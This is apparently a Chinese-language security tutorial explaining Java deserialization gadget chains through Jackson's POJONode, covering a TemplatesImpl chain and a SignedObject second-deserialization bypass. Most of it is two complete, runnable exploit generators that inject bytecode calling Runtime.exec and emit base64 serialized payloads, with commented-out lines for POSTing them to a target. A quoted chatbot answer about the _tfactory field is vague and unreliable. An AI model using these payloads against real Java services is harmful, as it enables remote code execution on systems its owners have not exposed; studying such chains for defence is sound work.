Jackson 反序列化漏洞原理
Jackson 反序列化漏洞利用的是 Jackson 中的 PojoNode, 它的 toString 是可以直接触发任意的 getter 的,触发条件如下
- 不需要存在该属性
- getter 方法需要有返回值
- 尽可能的只有一个 getter
TemplatesImpl 利用链分析
我们熟知通过触发 getter 方法而实现的反序列化利用链,就莫过于 CC3 利用链了
AnnotationInvocationHandler.readobject()
->(proxy)lazyMap.entrySet()
->AnnotationInvocationHandler.invoke()
->lazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform
->TrAXFilter(构造方法)()
->TemplatesImpl.newTransformer[和CC2类似,只是换了触发方法]()
->TemplatesImpl.getTransletInstance() [此处触发了getter方法]
->TemplatesImpl.defineTransletClasses() [恶意类加载]
->(动态创建的类)cc3.newInstance()->Runtime.exec()那么将上面的思路用代码实现一下,就有了下面这个可以本地弹计算器的 Demo (代码部分后面细讲)
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
CtClass cttClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=cttClass.getDeclaredMethod("writeReplace");
cttClass.removeMethod(writeReplace);
cttClass.toClass();
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}运行上述代码,成功弹出计算器
下面对代码部分进行分析
CtClass cttClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=cttClass.getDeclaredMethod("writeReplace");
cttClass.removeMethod(writeReplace);
cttClass.toClass();上面这行代码的作用是移除掉 com.fasterxml.jackson.databind.node.BaseJsonNode 里面的 writeReplace 方法。原因是因为 POJONode 类是继承自 ValueNode 类,而 ValueNode类是继承 BaseJsonNode 类的。而在 BaseJsonNode中存在 writeReplace () 方法
Object writeReplace() {
return NodeSerialization.from(this);
}当我们在反序列化的时候,会经过这个 writeReplace 方法。这个方法会对我们的序列化过程进行检查,从而阻止我们的序列化进程。我们需要将其重写出来,将这个方法去掉。
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);上面的代码自定义了一个类,名字为 a,并且设置其父类为 AbstractTranslet。然后添加了构造器去执行目标代码。 而这个自定义的类就是我们后面触发 TemplatesImpl.defineTransletClasses () 要恶意加载的类。
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);这部分代码就是对 TemplatesImpl 进行修饰,修改其_bytecodes 的值为我们要加载的恶意类,_name 可以为任意字符但是不能为空。而_tfactory 的作用我给忘了,查了很多讲 CB 链的都没细说,问了一下 GPT 给一下它的回答。
在这个上下文中,赋值 _tfactory 为 TransformerFactoryImpl 是重要的,因为它告知 TemplatesImpl 如何处理和执行 XSLT 转换。
特别是在构造一个能够进行恶意代码执行的链 (利用链) 中,该工厂通常会被用来生成执行 XSLT 的 Transformer 对象。
尽管它不一定是必须的(在某些情况下,不赋值可能不会阻止代码执行),但是如果你想确保生成的 Transformer 可以正确地执行模板转换,设置 _tfactory 是一个常见的做法,以便能够利用 XSLT 功能。
总结来说,给 _tfactory 赋值是为了确保 TemplatesImpl 对象完全有效,且能在后续的反序列化过程中顺利执行其模板。
这是一种典型的利用链构建过程中的细节,通常是为了达到目标的安全漏洞利用。POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);这部分代码就是类似于 CC5 利用链了,不过把要触发 tostring 的类从 TiedMap 换成了 POJONode。
TemplatesImpl 利用链 Gadget
下面是整个反序列化的调用链。
BadAttributeValueExpException.readObject()
->POJONode.toString()
->BaseJsonNode.toString()
->ObjectWriter.writeValueAsString(Object value)
->ObjectWriter.serializeAsField() [内部触发invoke]
->TemplatesImpl.getOutputProperties()
->TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance() [进入内含加载恶意类]
->(动态创建的恶意类)a.newInstance()
->Runtime.exec()SignObject 利用链分析
SignObject 可以在 Templates 被 ban 的情况下,通过二次反序列化进行绕过。不了解二次反序列化可以看这篇文章
我们看看 SignedObject.getObject () 方法
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}可以看出在其 getObject () 方法里面存在二次反序列化。 同样的先给出可以本地测试的 Demo。可以看出来和上面的代码只有部分不同,因为只是加了部分代码通过二次反序列进行绕过过滤,原理依然相同。
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;
public class SignObjectChain {
public static void main(String[] args) throws Exception {
CtClass cttClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=cttClass.getDeclaredMethod("writeReplace");
cttClass.removeMethod(writeReplace);
cttClass.toClass();
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
//doPOST(exp.toString().getBytes());
//byte[] byt=new byte[fileInputStream.available()];
//fileInputStream.read(byt);
//doPOST(byt);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}我们来看看不同的地方,可以看到主要多了这一部分代码
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);虽然不咋能看明白构造 SignedObject 的部分,但是后面一部分的原理还是很明白的。即仍然是通过 BadAttributeValueExpException 去触发 POJONode.toString () 从而实现任意 getter 方法调用。然后通过调用 SignedObject.getObject () 进行二次反序列化。
SignObject 利用链 Gadget
那么 SignObject 二次反序列化整体的利用链就很清晰了
BadAttributeValueExpException.readObject()
->POJONode.toString()
->SignedObject.getObject() [触发二次反序列化]
->BadAttributeValueExpException.readObject()
->POJONode.toString()
->BaseJsonNode.toString()
->ObjectWriter.writeValueAsString(Object value)
->ObjectWriter.serializeAsField() [内部触发invoke]
->TemplatesImpl.getOutputProperties()
->TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance() [进入内含加载恶意类]
->(动态创建的恶意类)a.newInstance()
->Runtime.exec()